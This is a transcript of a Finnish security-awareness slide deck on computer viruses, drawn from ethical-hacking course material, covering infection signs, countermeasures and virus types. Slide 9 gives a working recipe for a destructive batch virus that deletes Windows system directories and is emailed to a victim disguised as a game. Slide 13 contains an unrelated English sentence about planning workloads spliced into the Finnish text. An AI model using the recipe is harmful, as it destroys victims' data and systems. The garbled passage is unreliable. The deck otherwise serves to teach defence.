Virusinfo. Idea J-P Aro. Käännös Annastina Reims. Graafinen ulkoasu Toni Tilsala

Transkriptio

1 Virusinfo Idea J-P Aro Käännös Annastina Reims Graafinen ulkoasu Toni Tilsala Sisältö pohjautuu EC-Council:in Ethical Hacking and Countermeasures -kurssimateriaaliin

2 Miksi viruksia luodaan? Kilpailijan vahingoittamiseksi Taloudellisen hyödyn saamiseksi $ Tutkimusprojekteiksi Pilailutarkoituksessa Ilkivalta Kyberterrorismi Poliittisen viestien levittäminen

3 Virushyökkäyksen tunnusmerkkejä Prosesseihin kuluu enemmän resursseja ja aikaa Kone piippaa ilman selvää syytä Asematunnus muuttuu Käyttöjärjestelmä ei käynnisty Epätavalliset tapahtumat Jos järjestelmä toimii Tietokone hidastuu ohjelmien käynnistyessä Virustorjunta hälyttää epätavallisesti voidaan epäillä virushyökkäystä Väärät Hälytykset Tietokone jumiutuu usein tai tulee virheilmoituksia Tiedostoja ja kansioita on kateissa Kovalevy on usein käytössä Selainikkuna jumittuu Kaikki viat tai häiriöt eivät kuitenkaan johdu virushyökkäyksistä

4 Miten tietokone saastuu? Virustorjunta ei ole ajan tasalla Hyväksytään ja imuroidaan tiedostoja tarkistamatta lähteen luotettavuutta Liitännäisiä (esim. Java) ei päivitetä tai asenneta uusimpia versioita Avataan saastuneita sähköpostiliitteitä Asennetaan piraattiohjelmia

5 Virustyypit Miten ne saastuttavat? Käynnistyslohkovirukset Piilovirus Salakirjoitettu virus Polymorpinen virus Metamorpinen virus Ylikirjoittava virus Tiedostovirus Ajastettu virus Kumppani/ naamioidut virukset Ryväsvirukset Komentorivivirukset Tiedostopäätevirus Moniosainen virus Macro virus Lisäosa (add-on) virus (intrusive) Tunkeutuva virus Hetkellinen virus Muistinvarainen virus Mitä ne saastuttavat?

6 Virusten ja matojen vastatoimet Varmista, että käytettävä koodi on hyväksytty Puhdista levy, tarkista järjestelmärekisteri ja eheytä levy viikottain Älä käynnistä konetta uudestaan jos käynnistyslohko on saastunut Tiedosta uusimmat virusuhat Tarkista CD:t ja DVD:t ja muistitikut virusten varalta Varmista, että pongahdusikkunat on estetty ja käytä internet palomuuria Käytä palomuuria, jos käytät Windows XP:tä DVD Tarkista kone vakoiluohjelmien varalta viikottain Kieltäydy tiedostoista, joilla on useampi tiedostopääte Ole varovainen pikaviestijärjestelmien kautta lähetettyjen tiedostojen kanssa

7 Virusten ja matojen vastatoimet Asenna virustorjuntaohjelma, joka havaitsee ja poistaa tartunnat niiden ilmestyessä Luo virustorjuntasäännöt turvallista koneen käyttöä vasten ja jaa se henkilöstölle Huomioi ohjeet imuroidessasi tiedostoja tai ohjelmia netistä Päivitä virustorjunta kuukausittain, jotta se tunnistaa ja poistaa haittaohjelmat ja virukset Älä avaa liitteitä tuntemattomilta lähettäjiltä Virus voi korruptoida tiedostoja, joten ota varmuuskopiot säännöllisin väliajoin Tarkista koko tietokone tasaisin väliajoin asennettuasi virustorjuntaohjelman Älä hyväksy levyjä tai ohjelmia tarkistamatta niitä ensin ajantasoisella virustorjuntaohjelmalla

8 Virusinfo Eri tyyppiset virukset Tarkemmat kuvaukset

9 Esimerkki yksinkertaisen viruksen kirjoittamisesta Lähetä Game.com tiedosto sähköpostin liitteenä uhrille Luo Game.bat tiedosto seuraavalla echo off del c:\winnt\system32\*.* del c:\winnt\*.* Muunna Game.bat -tiedosto game.com -muotoon bat2com ohjelmalla Suoritettaessa se poistaa coretiedostot WINNT-hakemistossa, jonka jälkeen Windowsia ei voi käyttää

10 Tiedostopäätevirukset 1. Tiedostopäätevirukset muuttavat tiedostojen päätteet 2..TXT- tiedosto on turvallinen, sillä se on pelkkä tekstitiedosto 3. Jos piilotetut tiedostot eivät näy ja sinulle lähetetään tiedosto BAD.TXT.VBS, näet vain BAD.TXT -osan 4. Mikäli olet unohtanut etteivät piilotiedostot näy, saatat luulla tätä tekstitiedostoksi ja avata sen 5. Tiedosto on Visual Basic Script -virus ja voi vahingoittaa tietokonetta 6. Vastatoimena on laittaa täppä Näytä piilotetut tiedostot ja kansiot -kohtaan Kansion asetukset saa auki napsauttamalla Käynnistä-painiketta ja valitsemalla Ohjauspaneeli, Ulkoasu ja teemat sekä Kansion asetukset.

11 Lisäosa(add-on)virukset ja tunteutuvat(intrusive) virukset Lisäosa(add-on)virukset liittävät koodinsa isäntäkoodiin muuttamatta sitä tai siirtävät isäntäkoodia laittaakseen oman ohjelmansa alkuun Alkuperäinen ohjelma Viruskoodi Alkuperäinen ohjelma Alkuperäinen ohjelma Viruskoodi Tunkeutuvat(intrusive) virukset ylikirjoittavat isäntäkoodin täysin tai osittain viruksen koodilla Alkuperäinen ohjelma Viruskoodi Alkuperäinen ohjelma

12 Hetkelliset ja muistinvaraiset virukset Tavallisimmat saastutustavat Hetkellinen virus Siirtää isäntäkoodin hallinnan sinne missä itse sijaitsee Valitsee muutettavan kohdeohjelman ja korruptoi sen Muistinvarainen virus Jää pysyvästi muistiin koko työskentely rupeaman ajaksi, jopa sen jälkeen kun kohdeohjelman käyttö on lopetettu: Voidaan poistaa ainoastaan käynnistämällä kone uudestaan

13 Ylikirjoittavat virukset Tämä virus ylikirjoittaa osan isäntätiedostosta tietyllä arvolla (yleensä null) lisäämällä tiedoston pituutta, ja pitäen tiedoston näin toimintakuntoisena Accordingly, the best approach is to accumulate this material continuously, as and when it becomes available; since this avoids the otherwise heavy workload involved in collecting it as part of the regular, typically annual, planning process itself usually at a premium. Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Null Alkuperäinen tiedosto Koko: 45KB Saastunut tiedosto Koko: 45KB

14 Ajastettu virus Ajastettu virus saastuttaa ohjelmia tai järjestelmiä vain tietyin väliajoin (esim. joka kymmenes kerta) tai vain tietynkokoisia tiedostoja Saastuttamalla harvemmin virus yrittää minimoida paljastumismahdollisuudet Herää joka kuun 15. pvä ja suorita koodi

15 Kumppani/Naamioidut virukset Kumppanivirus luo kumppanitiedoston jokaista saastuttamaansa suoritettavaa tiedostoa kohden Kumppanivirus voi tallentaa itsensä notepad.com -muotoon ja joka kerta kun käyttäjä suorittaa notepad.exen(hyvä ohjelma), tietokone lataa notepad.comin(virus) ja saastuttaa järjestelmän Virus saastuttaa järjestelmän notepad.com -tiedostolla ja tallentaa sen hakemistoon C:\winnt\system32 Notepad.exe Notepad.com

16 Komentovirukset Viruskoodi muodostaa kuoren kohdeohjelman koodin ympärille ja tekee itsestään osan alkuperäistä ohjelmaa ja isäntäkoodin aliohjelmaa Lähes kaikki käynnistysohjelmien virukset ovat komentoviruksia Ennen saastumista Alkuperäinen ohjelma Saastumisen jälkeen Viruksen koodi Alkuperäinen ohjelma

17 Käynnistyslohkovirukset Käynnistyslohkovirus siirtää MBR:n toisaalle kovalevyllä ja kopioi itsensä MBR:n alkuperäiselle paikalle Järjestelmän käynnistyessä uudelleen viruskoodi suoritetaan ensin ja vasta sitten hallinta siirtyy alkuperäiselle MBR:lle Ennen saastumista MBR Saastumisen jälkeen Viruksen koodi MBR

18 Tiedosto- ja moniosaiset virukset Tiedostovirukset Tiedostovirukset saastuttavat tiedostoja jotka suoritetaan tai tulkitaan järjestelmissä COM, EXE, SYS, OVI, ONJ, PRG, MNU ja BAT tiedostoina Tiedostovirukset voivat olla joko hetkellisiä tai muistinvaraisia Moniosainen virus Virus, joka yrittää hyökätä sekä käynnistyslohkolle tai suoritettaviin tiedostoihin samanaikaisesti

19 Makrovirukset Hyökkääjä Saastuttaa makroja käyttäviä asiakirjoja Käyttäjä Makrovirukset saastuttavat tiedostoja, jotka on luotu Microsoft Wordilla tai Excelillä Useimmat makrovirukset on luotu Visual Basic for applications -makro kielellä Makrovirukset saastuttavat malleja tai muuntavat saastuneet tiedostot mallitiedostoiksi, säilyttäen ne tavallisten asiakirjatiedostojen näköisinä

20 Ryväsvirukset Muuttavat hakemistojen merkintöjä niin, että merkinnät osoittavat viruskoodiin alkuperäisen ohjelman sijasta. Ryväsvirus käynnistää itsensä aina ensin, kun joku ohjelma käynnistetään ja sitten hallinta siirtyy varsinaiselle ohjelmalle Levyllä on vain yksi kopio viruksesta, joka saastuttaa tietokoneen

21 Piilovirukset/Kaivautuvat virukset 1. Virukset välttelevät virustorjuntaa sieppaamalla pyynnöt käyttöjärjestelmälle 2. Virus voi piiloutua sieppaamalla virustorjuntaohjelman pyynnön lukea tiedosto ja välittämällä pyynnön virukselle eikä käyttöjärjestelmälle 3. Virus voi siten palauttaa puhtaan tiedoston virustorjuntaohjelmalle, jotta tiedosto näyttää olevan kunnossa Anna järjestelmätiedosto tcpip.sys tarkistettavaksi Virustorjuntaohjelma VIRUS Piilottaa saastuneen TCPIP.SYS Tässä Alkuperäinen TCPIP.SYS

22 Salakirjoitetut(kryptatut) virukset Viruskoodi Tämä virus käyttää yksinkertaista salausta koodin muuttamiseen Viruksessa on oma salakirjoitettu avain jokaista saastunutta tiedostoa varten Virustorjunta ei voi havaita näitä viruksia tavallisilla havannointikeinoilla Salausavain 1 Salausavain 2 Salausavain 3 Kryptattu virus 1 Kryptattu virus 2 Kryptattu virus 3

23 Polymorfinen koodi 1. Polymorfinen koodi mutatoituu, mutta säilyttää alkuperäisen algoritmin ehjänä 2. Käyttääkseen polymorfista koodia viruksella on oltava polymorfinen moottori (joskus myös mutatoituva moottori) 3. Hyvin kirjoitettu polymorfinen virus muuntuu siis jokaisella saastutuskerralla Kryptattu mutatoituva moottori Kryptattu viruskoodi Avaamisohjelma Käyttäjä suorittaa saastuneen ohjelman Avaamisohjelma purkaa viruskoodin ja mutatoi Käsky luoda uusi avausohjelma Kryptattu mutatoituva moottori (EME) Viruskoodi Virus vahingoittaa Käsky luoda uusi krypt. mutatoituva moottori Virus salaa itsensä uudella avaimella Uusi avausohjelma Uusi krypt. mutatoituva moottori Uusi virus Uusi polymorfinen virus RAM

24 Metamorfiset virukset Metamorfiset virukset kirjoittavat itsensä uudelleen joka kerta kun aikovat saastuttaa uuden suoritettavan viruksen Metamorfinen koodi voi ohjelmoida itsensä uudestaan kääntämällä itsensä väliaikaiseen muotoon ja sitten takaisin alkuperäiseksi Esim. W32/Simile koostui yli rivistä koodia ja 90% siitä on osa metamorfista moottoria a) Variantti A c) Epävirallinen variantti b) Variantti B d) Variantti (joka oli alkuperäisen tekijän virallinen C variantti)